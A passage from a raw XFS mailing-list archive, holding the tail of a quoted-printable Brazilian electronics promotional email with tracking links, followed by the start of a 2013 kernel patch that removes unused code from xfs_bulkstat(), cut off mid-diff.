249b2ZlcnRhX2RvX2RpYV8wMV8wN18xMyZ1dG1fdGVybT0=3D,1,b3NzLnNnaS5jb20=3D] Smartphone LG L3 II [http://trk.email.girafa.com.br/index.dma/DmaClick?1636,3239,644384,83321,b= b6f2f118637d86e26b57325f679babe,[DMA6_ENCODE_URL]https://www.girafa.com.br/= pesquisa/?q=3De435&marcas=3DLG&subgrupos=3D&utm_source=3D01_07_13_oferta_do= _dia&utm_medium=3DEmail&utm_content=3D&utm_campaign=3Doferta_do_dia_01_07_13 border-bottom:1px solid #f4ac1c; border-left:1px solid #f4ac1c; width:292px; padding:10px 0px 0px 0px;"> 553,52 [http://trk.email.girafa.com.br/index.dma/DmaClick?1636,3239,644384,83320,b= b6f2f118637d86e26b57325f679babe,[DMA6_ENCODE_URL]https://www.girafa.com.br/= pesquisa/?q=3Ds6812&marcas=3DSamsung&subgrupos=3D&utm_source=3D01_07_13_ofe= rta_do_dia&utm_medium=3DEmail&utm_content=3D&utm_campaign=3Doferta_do_dia_0= 1_07_13 margin: 0;padding: 0; border: 0; ">=C0 vista no boleto [http://trk.email.girafa.com.br/index.dma/DmaClick?1636,3239,644384,83320,b= b6f2f118637d86e26b57325f679babe,[DMA6_ENCODE_URL]https://www.girafa.com.br/= pesquisa/?q=3Ds6812&marcas=3DSamsung&subgrupos=3D&utm_source=3D01_07_13_ofe= rta_do_dia&utm_medium=3DEmail&utm_content=3D&utm_campaign=3Doferta_do_dia_0= 1_07_13font-weight: bold; margin: 0px 0px 0px 0px; border: 0;">12x no cart=E3o [http://trk.email.girafa.com.br/index.dma/DmaClick?1636,3239,644384,83320,b= b6f2f118637d86e26b57325f679babe,[DMA6_ENCODE_URL]https://www.girafa.com.br/= pesquisa/?q=3Ds6812&marcas=3DSamsung&subgrupos=3D&utm_source=3D01_07_13_ofe= rta_do_dia&utm_medium=3DEmail&utm_content=3D&utm_campaign=3Doferta_do_dia_0= 1_07_13 height:50px; border-left:1px solid #f4ac1c;border-bottom:1px solid #f4ac1c; width:292px; padding:10px 0px 0px 0px;"> 421,52 [http://trk.email.girafa.com.br/index.dma/DmaClick?1636,3239,644384,83321,b= b6f2f118637d86e26b57325f679babe,[DMA6_ENCODE_URL]https://www.girafa.com.br/= pesquisa/?q=3De435&marcas=3DLG&subgrupos=3D&utm_source=3D01_07_13_oferta_do= _dia&utm_medium=3DEmail&utm_content=3D&utm_campaign=3Doferta_do_dia_01_07_13 margin: 0;padding: 0; border: 0; ">=C0 vista no boleto [http://trk.email.girafa.com.br/index.dma/DmaClick?1636,3239,644384,83322,b= b6f2f118637d86e26b57325f679babe,[DMA6_ENCODE_URL]https://www.girafa.com.br/= pesquisa/?q=3Di9300&marcas=3DSamsung&subgrupos=3D&utm_source=3D01_07_13_ofe= rta_do_dia&utm_medium=3DEmail&utm_content=3D&utm_campaign=3Doferta_do_dia_0= 1_07_13font-weight: bold; margin:0; border: 0;">12x no cart=E3o [http://trk.email.girafa.com.br/index.dma/DmaClick?1636,3239,644384,83321,b= b6f2f118637d86e26b57325f679babe,aHR0cHM6Ly93d3cuZ2lyYWZhLmNvbS5ici9wZXNxdWl= zYS8/cT1lNDM1Jm1hcmNhcz1MRyZzdWJncnVwb3M9JnV0bV9zb3VyY2U9MDFfMDdfMTNfb2Zlcn= RhX2RvX2RpYSZ1dG1fbWVkaXVtPUVtYWlsJnV0bV9jb250ZW50PSZ1dG1fY2FtcGFpZ249b2Zlc= nRhX2RvX2RpYV8wMV8wN18xMyZ1dG1fdGVybT0=3D,1,b3NzLnNnaS5jb20=3D] [http://trk.email.girafa.com.br/index.dma/DmaClick?1636,3239,644384,83307,b= b6f2f118637d86e26b57325f679babe,aHR0cDovL3d3dy5naXJhZmEuY29tLmJyL3Blc3F1aXN= hLz9xPWU0NTAmbWFyY2FzPUxHJnN1YmdydXBvcz0mdXRtX3NvdXJjZT0wMV8wN18xM19vZmVydG= FfZG9fZGlhJnV0bV9tZWRpdW09RW1haWwmdXRtX2NvbnRlbnQ9JnV0bV9jYW1wYWlnbj1vZmVyd= GFfZG9fZGlhXzAxXzA3XzEzJnV0bV90ZXJtPQ=3D=3D,1,b3NzLnNnaS5jb20=3D] [http://trk.email.girafa.com.br/index.dma/DmaClick?1636,3239,644384,83308,b= b6f2f118637d86e26b57325f679babe,aHR0cDovL3d3dy5naXJhZmEuY29tLmJyL1RhYmxldC9= TYW1zdW5nL2dhbGF4eS10YWItMi1wNTEwMC1wcmF0YS1hbmRyb2lkLTQuMC0zZy13aS1maS1kdW= FsLWNvcmUtY2FtZXJhLTMuMi1wNTEwMC5odG0/dXRtX3NvdXJjZT0wMV8wN18xM19vZmVydGFfZ= G9fZGlhJnV0bV9tZWRpdW09RW1haWwmdXRtX2NvbnRlbnQ9JnV0bV9jYW1wYWlnbj1vZmVydGFf= ZG9fZGlhXzAxXzA3XzEzJnV0bV90ZXJtPQ=3D=3D,1,b3NzLnNnaS5jb20=3D] E450 [http://trk.email.girafa.com.br/index.dma/DmaClick?1636,3239,644384,83307,b= b6f2f118637d86e26b57325f679babe,aHR0cDovL3d3dy5naXJhZmEuY29tLmJyL3Blc3F1aXN= hLz9xPWU0NTAmbWFyY2FzPUxHJnN1YmdydXBvcz0mdXRtX3NvdXJjZT0wMV8wN18xM19vZmVydG= FfZG9fZGlhJnV0bV9tZWRpdW09RW1haWwmdXRtX2NvbnRlbnQ9JnV0bV9jYW1wYWlnbj1vZmVyd= GFfZG9fZGlhXzAxXzA3XzEzJnV0bV90ZXJtPQ=3D=3D,1,b3NzLnNnaS5jb20=3D] P5100 [http://trk.email.girafa.com.br/index.dma/DmaClick?1636,3239,644384,83308,b= b6f2f118637d86e26b57325f679babe,aHR0cDovL3d3dy5naXJhZmEuY29tLmJyL1RhYmxldC9= TYW1zdW5nL2dhbGF4eS10YWItMi1wNTEwMC1wcmF0YS1hbmRyb2lkLTQuMC0zZy13aS1maS1kdW= FsLWNvcmUtY2FtZXJhLTMuMi1wNTEwMC5odG0/dXRtX3NvdXJjZT0wMV8wN18xM19vZmVydGFfZ= G9fZGlhJnV0bV9tZWRpdW09RW1haWwmdXRtX2NvbnRlbnQ9JnV0bV9jYW1wYWlnbj1vZmVydGFf= ZG9fZGlhXzAxXzA3XzEzJnV0bV90ZXJtPQ=3D=3D,1,b3NzLnNnaS5jb20=3D] Smartphone LG OptimusL5 II [http://trk.email.girafa.com.br/index.dma/DmaClick?1636,3239,644384,83307,b= b6f2f118637d86e26b57325f679babe,aHR0cDovL3d3dy5naXJhZmEuY29tLmJyL3Blc3F1aXN= hLz9xPWU0NTAmbWFyY2FzPUxHJnN1YmdydXBvcz0mdXRtX3NvdXJjZT0wMV8wN18xM19vZmVydG= FfZG9fZGlhJnV0bV9tZWRpdW09RW1haWwmdXRtX2NvbnRlbnQ9JnV0bV9jYW1wYWlnbj1vZmVyd= GFfZG9fZGlhXzAxXzA3XzEzJnV0bV90ZXJtPQ=3D=3D,1,b3NzLnNnaS5jb20=3D] Galaxy Tab 2 Samsung [http://trk.email.girafa.com.br/index.dma/DmaClick?1636,3239,644384,83308,b= b6f2f118637d86e26b57325f679babe,[DMA6_ENCODE_URL]http://www.girafa.com.br/T= ablet/Samsung/galaxy-tab-2-p5100-prata-android-4.0-3g-wi-fi-dual-core-camer= a-3.2-p5100.htm?utm_source=3D01_07_13_oferta_do_dia&utm_medium=3DEmail&utm_= content=3D&utm_campaign=3Doferta_do_dia_01_07_13 border-bottom:1px solid #f4ac1c; border-left:1px solid #f4ac1c; width:292px; padding:10px 0px 0px 0px;"> 571,12 [http://trk.email.girafa.com.br/index.dma/DmaClick?1636,3239,644384,83307,b= b6f2f118637d86e26b57325f679babe,[DMA6_ENCODE_URL]http://www.girafa.com.br/p= esquisa/?q=3De450&marcas=3DLG&subgrupos=3D&utm_source=3D01_07_13_oferta_do_= dia&utm_medium=3DEmail&utm_content=3D&utm_campaign=3Doferta_do_dia_01_07_13 margin: 0;padding: 0; border: 0; ">=C0 vista no boleto [http://trk.email.girafa.com.br/index.dma/DmaClick?1636,3239,644384,83307,b= b6f2f118637d86e26b57325f679babe,[DMA6_ENCODE_URL]http://www.girafa.com.br/p= esquisa/?q=3De450&marcas=3DLG&subgrupos=3D&utm_source=3D01_07_13_oferta_do_= dia&utm_medium=3DEmail&utm_content=3D&utm_campaign=3Doferta_do_dia_01_07_13= font-weight: bold; margin: 0px 0px 0px 0px; border: 0;">12x no cart=E3o [http://trk.email.girafa.com.br/index.dma/DmaClick?1636,3239,644384,83307,b= b6f2f118637d86e26b57325f679babe,[DMA6_ENCODE_URL]http://www.girafa.com.br/p= esquisa/?q=3De450&marcas=3DLG&subgrupos=3D&utm_source=3D01_07_13_oferta_do_= dia&utm_medium=3DEmail&utm_content=3D&utm_campaign=3Doferta_do_dia_01_07_13 height:50px; border-left:1px solid #f4ac1c;border-bottom:1px solid #f4ac1c; width:292px; padding:10px 0px 0px 0px;"> 1.319,12 [http://trk.email.girafa.com.br/index.dma/DmaClick?1636,3239,644384,83308,b= b6f2f118637d86e26b57325f679babe,[DMA6_ENCODE_URL]http://www.girafa.com.br/T= ablet/Samsung/galaxy-tab-2-p5100-prata-android-4.0-3g-wi-fi-dual-core-camer= a-3.2-p5100.htm?utm_source=3D01_07_13_oferta_do_dia&utm_medium=3DEmail&utm_= content=3D&utm_campaign=3Doferta_do_dia_01_07_13 margin: 0;padding: 0; border: 0; ">=C0 vista no boleto [http://trk.email.girafa.com.br/index.dma/DmaClick?1636,3239,644384,83308,b= b6f2f118637d86e26b57325f679babe,[DMA6_ENCODE_URL]http://www.girafa.com.br/T= ablet/Samsung/galaxy-tab-2-p5100-prata-android-4.0-3g-wi-fi-dual-core-camer= a-3.2-p5100.htm?utm_source=3D01_07_13_oferta_do_dia&utm_medium=3DEmail&utm_= content=3D&utm_campaign=3Doferta_do_dia_01_07_13font-weight: bold; margin:0; border: 0;">12x no cart=E3o [http://trk.email.girafa.com.br/index.dma/DmaClick?1636,3239,644384,83308,b= b6f2f118637d86e26b57325f679babe,aHR0cDovL3d3dy5naXJhZmEuY29tLmJyL1RhYmxldC9= TYW1zdW5nL2dhbGF4eS10YWItMi1wNTEwMC1wcmF0YS1hbmRyb2lkLTQuMC0zZy13aS1maS1kdW= FsLWNvcmUtY2FtZXJhLTMuMi1wNTEwMC5odG0/dXRtX3NvdXJjZT0wMV8wN18xM19vZmVydGFfZ= G9fZGlhJnV0bV9tZWRpdW09RW1haWwmdXRtX2NvbnRlbnQ9JnV0bV9jYW1wYWlnbj1vZmVydGFf= ZG9fZGlhXzAxXzA3XzEzJnV0bV90ZXJtPQ=3D=3D,1,b3NzLnNnaS5jb20=3D] =20 [http://trk.email.girafa.com.br/index.dma/DmaClick?1636,3239,644384,83298,b= b6f2f118637d86e26b57325f679babe,aHR0cDovL3d3dy5naXJhZmEuY29tLmJyLz91dG1fc29= 1cmNlPTAxXzA3XzEzX29mZXJ0YV9kb19kaWEmdXRtX21lZGl1bT1FbWFpbCZ1dG1fY29udGVudD= 0mdXRtX2NhbXBhaWduPW9mZXJ0YV9kb19kaWFfMDFfMDdfMTMmdXRtX3Rlcm09,1,b3NzLnNnaS= 5jb20=3D] =20 [http://trk.email.girafa.com.br/index.dma/DmaClick?1636,3239,644384,83309,b= b6f2f118637d86e26b57325f679babe,aHR0cDovL3d3dy5naXJhZmEuY29tLmJyL21vdGl2b3M= tcGFyYS1jb21wcmFyLzEwMC1zZWd1cm8vP3V0bV9zb3VyY2U9MDFfMDdfMTNfb2ZlcnRhX2RvX2= RpYSZ1dG1fbWVkaXVtPUVtYWlsJnV0bV9jb250ZW50PSZ1dG1fY2FtcGFpZ249b2ZlcnRhX2RvX= 2RpYV8wMV8wN18xMyZ1dG1fdGVybT0=3D,1,b3NzLnNnaS5jb20=3D] =20 [http://trk.email.girafa.com.br/index.dma/DmaClick?1636,3239,644384,83323,b= b6f2f118637d86e26b57325f679babe,aHR0cHM6Ly93d3cuZ2lyYWZhLmNvbS5ici9jZW50cmF= sLWRlLWF0ZW5kaW1lbnRvLz91dG1fc291cmNlPTAxXzA3XzEzX29mZXJ0YV9kb19kaWEmdXRtX2= 1lZGl1bT1FbWFpbCZ1dG1fY29udGVudD0mdXRtX2NhbXBhaWduPW9mZXJ0YV9kb19kaWFfMDFfM= DdfMTMmdXRtX3Rlcm09,1,b3NzLnNnaS5jb20=3D] =20 [http://trk.email.girafa.com.br/index.dma/DmaClick?1636,3239,644384,83324,b= b6f2f118637d86e26b57325f679babe,aHR0cHM6Ly93d3cuZ2lyYWZhLmNvbS5ici9tb3Rpdm9= zLXBhcmEtY29tcHJhci9kaXZlcnNhcy1mb3JtYXMtZGUtcGFnYW1lbnRvLz91dG1fc291cmNlPT= AxXzA3XzEzX29mZXJ0YV9kb19kaWEmdXRtX21lZGl1bT1FbWFpbCZ1dG1fY29udGVudD0mdXRtX= 2NhbXBhaWduPW9mZXJ0YV9kb19kaWFfMDFfMDdfMTMmdXRtX3Rlcm09,1,b3NzLnNnaS5jb20= =3D] =20 [http://trk.email.girafa.com.br/index.dma/DmaClick?1636,3239,644384,83325,b= b6f2f118637d86e26b57325f679babe,aHR0cHM6Ly93d3cuZ2lyYWZhLmNvbS5ici9tb3Rpdm9= zLXBhcmEtY29tcHJhci9nYXJhbnRpYS1kZS1zYXRpc2ZhY2FvLz91dG1fc291cmNlPTAxXzA3Xz= EzX29mZXJ0YV9kb19kaWEmdXRtX21lZGl1bT1FbWFpbCZ1dG1fY29udGVudD0mdXRtX2NhbXBha= WduPW9mZXJ0YV9kb19kaWFfMDFfMDdfMTMmdXRtX3Rlcm09,1,b3NzLnNnaS5jb20=3D] =20 [http://trk.email.girafa.com.br/index.dma/DmaClick?1636,3239,644384,83326,b= b6f2f118637d86e26b57325f679babe,aHR0cHM6Ly93d3cuZ2lyYWZhLmNvbS5ici9lc3BhY28= tZG8tY2xpZW50ZS9hdmFsaWFjb2VzL2luZGV4LnBocD91dG1fc291cmNlPTAxXzA3XzEzX29mZX= J0YV9kb19kaWEmdXRtX21lZGl1bT1FbWFpbCZ1dG1fY29udGVudD0mdXRtX2NhbXBhaWduPW9mZ= XJ0YV9kb19kaWFfMDFfMDdfMTMmdXRtX3Rlcm09,1,b3NzLnNnaS5jb20=3D] =20 [http://trk.email.girafa.com.br/index.dma/DmaClick?1636,3239,644384,83327,b= b6f2f118637d86e26b57325f679babe,aHR0cHM6Ly93d3cuZ2lyYWZhLmNvbS5ici9pbnN0aXR= 1Y2lvbmFsL2Zvcm5lY2Vkb3Jlcy8/dXRtX3NvdXJjZT0wMV8wN18xM19vZmVydGFfZG9fZGlhJn= V0bV9tZWRpdW09RW1haWwmdXRtX2NvbnRlbnQ9JnV0bV9jYW1wYWlnbj1vZmVydGFfZG9fZGlhX= zAxXzA3XzEzJnV0bV90ZXJtPQ=3D=3D,1,b3NzLnNnaS5jb20=3D] =20 [http://trk.email.girafa.com.br/index.dma/DmaClick?1636,3239,644384,83310,b= b6f2f118637d86e26b57325f679babe,aHR0cDovL3d3dy5naXJhZmEuY29tLmJyL2NoYXQvP3V= 0bV9zb3VyY2U9MDFfMDdfMTNfb2ZlcnRhX2RvX2RpYSZ1dG1fbWVkaXVtPUVtYWlsJnV0bV9jb2= 50ZW50PSZ1dG1fY2FtcGFpZ249b2ZlcnRhX2RvX2RpYV8wMV8wN18xMyZ1dG1fdGVybT0=3D,1,= b3NzLnNnaS5jb20=3D] =20 [http://trk.email.girafa.com.br/index.dma/DmaClick?1636,3239,644384,83298,b= b6f2f118637d86e26b57325f679babe,aHR0cDovL3d3dy5naXJhZmEuY29tLmJyLz91dG1fc29= 1cmNlPTAxXzA3XzEzX29mZXJ0YV9kb19kaWEmdXRtX21lZGl1bT1FbWFpbCZ1dG1fY29udGVudD= 0mdXRtX2NhbXBhaWduPW9mZXJ0YV9kb19kaWFfMDFfMDdfMTMmdXRtX3Rlcm09,1,b3NzLnNnaS= 5jb20=3D] =20 [http://trk.email.girafa.com.br/index.dma/DmaClick?1636,3239,644384,83328,b= b6f2f118637d86e26b57325f679babe,aHR0cHM6Ly93d3cuZmFjZWJvb2suY29tL0dpcmFmYUN= vbT91dG1fc291cmNlPTAxXzA3XzEzX29mZXJ0YV9kb19kaWEmdXRtX21lZGl1bT1FbWFpbCZ1dG= 1fY29udGVudD0mdXRtX2NhbXBhaWduPW9mZXJ0YV9kb19kaWFfMDFfMDdfMTMmdXRtX3Rlcm09,= 1,b3NzLnNnaS5jb20=3D] =20 [http://trk.email.girafa.com.br/index.dma/DmaClick?1636,3239,644384,83329,b= b6f2f118637d86e26b57325f679babe,aHR0cHM6Ly90d2l0dGVyLmNvbS9vZ2lyYWZhP3V0bV9= zb3VyY2U9MDFfMDdfMTNfb2ZlcnRhX2RvX2RpYSZ1dG1fbWVkaXVtPUVtYWlsJnV0bV9jb250ZW= 50PSZ1dG1fY2FtcGFpZ249b2ZlcnRhX2RvX2RpYV8wMV8wN18xMyZ1dG1fdGVybT0=3D,1,b3Nz= LnNnaS5jb20=3D] =20 [http://trk.email.girafa.com.br/index.dma/DmaClick?1636,3239,644384,83330,b= b6f2f118637d86e26b57325f679babe,aHR0cHM6Ly9wbHVzLmdvb2dsZS5jb20vK2dpcmFmYS9= wb3N0cz91dG1fc291cmNlPTAxXzA3XzEzX29mZXJ0YV9kb19kaWEmdXRtX21lZGl1bT1FbWFpbC= Z1dG1fY29udGVudD0mdXRtX2NhbXBhaWduPW9mZXJ0YV9kb19kaWFfMDFfMDdfMTMmdXRtX3Rlc= m09,1,b3NzLnNnaS5jb20=3D] =20 [http://trk.email.girafa.com.br/index.dma/DmaClick?1636,3239,644384,83311,b= b6f2f118637d86e26b57325f679babe,aHR0cDovL3d3dy55b3V0dWJlLmNvbS9vZ2lyYWZhP3V= 0bV9zb3VyY2U9MDFfMDdfMTNfb2ZlcnRhX2RvX2RpYSZ1dG1fbWVkaXVtPUVtYWlsJnV0bV9jb2= 50ZW50PSZ1dG1fY2FtcGFpZ249b2ZlcnRhX2RvX2RpYV8wMV8wN18xMyZ1dG1fdGVybT0=3D,1,= b3NzLnNnaS5jb20=3D] =20 [http://trk.email.girafa.com.br/index.dma/DmaClick?1636,3239,644384,83298,b= b6f2f118637d86e26b57325f679babe,aHR0cDovL3d3dy5naXJhZmEuY29tLmJyLz91dG1fc29= 1cmNlPTAxXzA3XzEzX29mZXJ0YV9kb19kaWEmdXRtX21lZGl1bT1FbWFpbCZ1dG1fY29udGVudD= 0mdXRtX2NhbXBhaWduPW9mZXJ0YV9kb19kaWFfMDFfMDdfMTMmdXRtX3Rlcm09,1,b3NzLnNnaS= 5jb20=3D] Pre=E7os e condi=E7=F5es de pagamento v=E1lidos at=E9 03/07/2013 ou enquanto durarem nossos estoques. Imagens meramente ilustrativas.*Consulte sua regi=E3o [http://trk.email.girafa.com.br/index.dma/DmaClick?1636,3239,644384,83312,b= b6f2f118637d86e26b57325f679babe,aHR0cDovL3d3dy5naXJhZmEuY29tLmJyP3V0bV9zb3V= yY2U9MDFfMDdfMTNfb2ZlcnRhX2RvX2RpYSZ1dG1fbWVkaXVtPUVtYWlsJnV0bV9jb250ZW50PS= Z1dG1fY2FtcGFpZ249b2ZlcnRhX2RvX2RpYV8wMV8wN18xMyZ1dG1fdGVybT0=3D,1,b3NzLnNn= aS5jb20=3D] --4d43eb642a2cfc1c5bc99904aa478775 Content-Type: text/html; charset=ISO-8859-1 Content-Transfer-Encoding: quoted-printable Content-Disposition: inline =0D =0D =0D =0D
Se você nã= o conseguir visualizar esta mensagem, acesse este link
3D"" =0D =0D =0D =0D =0D =0D =0D =0D =0D =0D =0D =0D =0D
3D"01"
=0D = =0D =0D =0D =0D =0D =0D = =0D =0D =0D =0D =0D =0D =0D =0D
3D"02" = 3D"03" 3D"05" 3D"06" 3D"07" = 3D"09" = 3D"10"
=0D
3D"11"
=0D =0D =0D =0D =0D =0D =0D
3D"Sma=
=0D =0D =0D =0D =0D =0D =0D =0D =0D =0D =0D =0D =0D =0D =0D =0D =0D =0D =0D =0D =0D =0D =0D
=3D"" 3D""=0D
i9505P714
Smartphone Samsung Galaxy S4Smartphone LG L7 II Single
=0D =0D =0D =0D =0D =0D =0D =0D
=0D
    = • 4G
    =0D • Android 4.2
    =0D • 13MP
    =0D • 16GB
= =0D
=0D =0D =0D =0D =0D =0D =0D =0D =0D =0D =0D =0D =0D
3D"#" = 1.930 ,85=
=C0 vista no boleto
ou em at=E9 12x no cart=E3o
=0D
=0D
=0D =0D =0D =0D =0D =0D =0D =0D
=0D
    = • Android 4.1
    =0D • 8MP
    =0D • 4GB
    =0D • 3G
=0D
=0D =0D =0D =0D =0D =0D =0D = =0D =0D =0D =0D =0D =0D
3D"#" = 703 = ,12
=C0 vista no boleto
= ou em at=E9 12x no cart=E3o
=0D
=0D
=0D =0D =0D =0D =0D =0D =0D
3D""
=0D = =0D =0D =0D =0D =0D = =0D =0D =0D =0D =0D =0D =0D =0D =0D =0D =0D =0D =0D =0D =0D =0D =0D =0D
3D""
GT-I8190NB047
Smartphone Samsung Galaxy S III MiniTablet Kid Pad Multilaser
=0D =0D =0D =0D =0D =0D =0D =0D
=0D
    = • Android 4.1
    =0D • Tela 4"
    =0D • 5MP
    =0D • 8GB
    =0D
=0D
=0D =0D =0D =0D =0D =0D =0D = =0D =0D =0D =0D =0D =0D
3D"#" = 817 ,52<= /font>
=C0 vista no boleto
ou em at=E9 12x no cart=E3o
=0D
=0D
=0D =0D =0D =0D =0D =0D =0D =0D
=0D
    = • Tela 7"
    =0D • Wi-Fi
    =0D • 1.3MP
    =0D • 4GB
    =0D
=0D
=0D =0D =0D =0D =0D =0D =0D = =0D =0D =0D =0D =0D =0D
3D"#"= 395 ,12=
=C0 vista no boleto
ou em at=E9 12x no cart=E3= o
=0D
=0D
=0D =0D =0D =0D =0D =0D =0D
3D""
=0D = =0D =0D =0D =0D =0D =0D =0D =0D =0D =0D =0D =0D =0D =0D =0D =0D =0D =0D =0D =0D =0D =0D =0D
3D""<= /a>
S6812E435
Smartphone Galaxy Fame DuosSmartphone LG L3 II
=0D =0D =0D =0D =0D =0D =0D =0D
=0D
    = • Dual Chip
    =0D • Android 4.1
    =0D • 5MP
    =0D • 4GB
= =0D
=0D =0D =0D =0D =0D =0D =0D = =0D =0D =0D =0D =0D =0D
= 3D"#" = 553 = ,52
=C0 vista no boleto
ou em at=E9 12x no cart=E3o
=0D
=0D
=0D =0D =0D =0D =0D =0D =0D =0D
=0D
    = • Dual Chip
    =0D • Android 4.1
    =0D • Tela 3.2"
    =0D • 3MP
    =0D
=0D
=0D =0D =0D =0D =0D =0D =0D = =0D =0D =0D =0D =0D =0D
3D"#" = 421 = ,52<= /a>
=C0 vista no boleto
ou em at=E9 12x no cart= =E3o
=0D
=0D
=0D =0D =0D =0D =0D =0D =0D
3D""
=0D = =0D =0D =0D =0D =0D =0D =0D =0D =0D =0D =0D =0D =0D =0D =0D =0D =0D =0D =0D =0D =0D =0D =0D
3D""= 3D""=
E450P5100
Smartphone LG Optimus L5 IIGalaxy Tab 2 Samsung
=0D =0D =0D =0D =0D =0D =0D =0D
=0D
    = • Android 4.0
    =0D • Wi-Fi
    =0D • 4GB
    =0D • 5MP
= =0D
=0D =0D =0D =0D =0D =0D =0D = =0D =0D =0D =0D =0D =0D
= 3D"#" = 571 = ,12
=C0 vista no boleto
ou em at=E9 12x<= /font> no cart=E3o
=0D
=0D
=0D =0D =0D =0D =0D =0D =0D =0D
=0D
    = • Android 4.0
    =0D • Wi-Fi
    =0D • Dual Core
    =0D • 3.2MP
    =0D
=0D
=0D =0D =0D =0D =0D =0D =0D = =0D =0D =0D =0D =0D =0D
3D"#" = 1.319 = ,12
=C0 vista no boleto
ou em at=E9 12x no cart= =E3o
=0D
=0D
=0D =0D =0D =0D =0D =0D =0D =0D =0D =0D =0D =0D =0D =0D =0D =0D =0D =0D =0D
3D"01"
=0D =0D =0D =0D =0D =0D =0D =0D =0D =0D =0D =0D
=3D"02" 3D"03"= 3D"04" 3D"05" 3D"06" 3D=
=0D
=0D =0D =0D =0D =0D =0D =0D =0D =0D =0D =0D =0D
3D"08" 3D"09" 3D"11" = 3D"12" 3D"13"
=0D
3D"14"
=
Pre=E7os e condi=E7= =F5es de pagamento v=E1lidos at=E9 03/07/2013 ou enquanto durarem nossos es= toques. Imagens meramente ilustrativas.
*Consulte sua regi=E3o
=0D =09=09=09=09=09

Para garantir que nossos comunicados cheguem em sua = caixa de entrada,
adicione o e-mail ofertadesegunda@girafa.com.= br ao seu catálogo de endereços.

A Girafa r= espeita a sua privacidade e é contra o spam na rede.
Se=20 você não deseja mais receber nossos e-mails, cancele sua inscrição aqui.
=0D = --4d43eb642a2cfc1c5bc99904aa478775-- From jeff.liu@oracle.com Mon Jul 1 08:51:29 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id 017C67F55 for ; Mon, 1 Jul 2013 08:51:29 -0500 (CDT) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay3.corp.sgi.com (Postfix) with ESMTP id 761CFAC00A for ; Mon, 1 Jul 2013 06:51:25 -0700 (PDT) X-ASG-Debug-ID: 1372686683-04cb6c2a4172c650001-NocioJ Received: from userp1040.oracle.com (userp1040.oracle.com [156.151.31.81]) by cuda.sgi.com with ESMTP id abAoYDqDLFf7dzFo (version=TLSv1 cipher=AES256-SHA bits=256 verify=NO) for ; Mon, 01 Jul 2013 06:51:24 -0700 (PDT) X-Barracuda-Envelope-From: jeff.liu@oracle.com X-Barracuda-Apparent-Source-IP: 156.151.31.81 Received: from acsinet21.oracle.com (acsinet21.oracle.com [141.146.126.237]) by userp1040.oracle.com (Sentrion-MTA-4.3.1/Sentrion-MTA-4.3.1) with ESMTP id r61Dj2k4019765 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=OK) for ; Mon, 1 Jul 2013 13:45:03 GMT Received: from aserz7021.oracle.com (aserz7021.oracle.com [141.146.126.230]) by acsinet21.oracle.com (8.14.4+Sun/8.14.4) with ESMTP id r61DpLrI018157 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO) for ; Mon, 1 Jul 2013 13:51:22 GMT Received: from abhmt120.oracle.com (abhmt120.oracle.com [141.146.116.72]) by aserz7021.oracle.com (8.14.4+Sun/8.14.4) with ESMTP id r61DpL3d018149 for ; Mon, 1 Jul 2013 13:51:21 GMT Received: from [192.168.1.104] (/221.223.98.251) by default (Oracle Beehive Gateway v4.0) with ESMTP ; Mon, 01 Jul 2013 06:51:21 -0700 Message-ID: <51D18964.2030708@oracle.com> Date: Mon, 01 Jul 2013 21:51:32 +0800 From: Jeff Liu User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:11.0) Gecko/20120410 Thunderbird/11.0.1 MIME-Version: 1.0 To: "xfs@oss.sgi.com" Subject: [PATCH] xfs: clean up unused codes at xfs_bulkstat() Content-Type: text/plain; charset=ISO-8859-1 X-ASG-Orig-Subj: [PATCH] xfs: clean up unused codes at xfs_bulkstat() Content-Transfer-Encoding: 7bit X-Source-IP: acsinet21.oracle.com [141.146.126.237] X-Barracuda-Connect: userp1040.oracle.com[156.151.31.81] X-Barracuda-Start-Time: 1372686684 X-Barracuda-Encrypted: AES256-SHA X-Barracuda-URL: http://192.48.176.15:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.135501 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- From: Jie Liu There are some unused codes at xfs_bulkstat(): - Variable bp is defined to point to the on-disk inode cluster buffer, but it proved to be of no practical help. - We process the chunks of good inodes which were fetched by iterating btree records from an AG. When processing inodes from each chunk, the code recomputing agbno if run into the first inode of a cluster, however, the agbno is not being used thereafter. This patch tries to clean up those things. Signed-off-by: Jie Liu --- fs/xfs/xfs_itable.c | 28 +--------------------------- 1 file changed, 1 insertion(+), 27 deletions(-) diff --git a/fs/xfs/xfs_itable.c b/fs/xfs/xfs_itable.c --- a/fs/xfs/xfs_itable.c +++ b/fs/xfs/xfs_itable.c @@ -221,7 +221,6 @@ xfs_bulkstat( char __user *ubufp; /* pointer into user's buffer */ int ubelem; /* spaces used in user's buffer */ int ubused; /* bytes used by formatter */ - xfs_buf_t *bp; /* ptr to on-disk inode cluster buf */ /* * Get the last inode value, see if there's nothing to do. @@ -263,7 +262,6 @@ xfs_bulkstat( rval = 0; while (XFS_BULKSTAT_UBLEFT(ubleft) && agno < mp->m_sb.sb_agcount) { cond_resched(); - bp = NULL; error = xfs_ialloc_read_agi(mp, NULL, agno, &agbp); if (error) { /* @@ -433,27 +431,7 @@ xfs_bulkstat( irbp->ir_freecount < XFS_INODES_PER_CHUNK; chunkidx++, clustidx++, agino++) { ASSERT(chunkidx < XFS_INODES_PER_CHUNK); - /* - * Recompute agbno if this is the - * first inode of the cluster. - * - * Careful with clustidx. There can be - * multiple clusters per chunk, a single - * cluster per chunk or a cluster that has - * inodes represented from several different - * chunks (if blocksize is large). - * - * Because of this, the starting clustidx is - * initialized to zero in this loop but 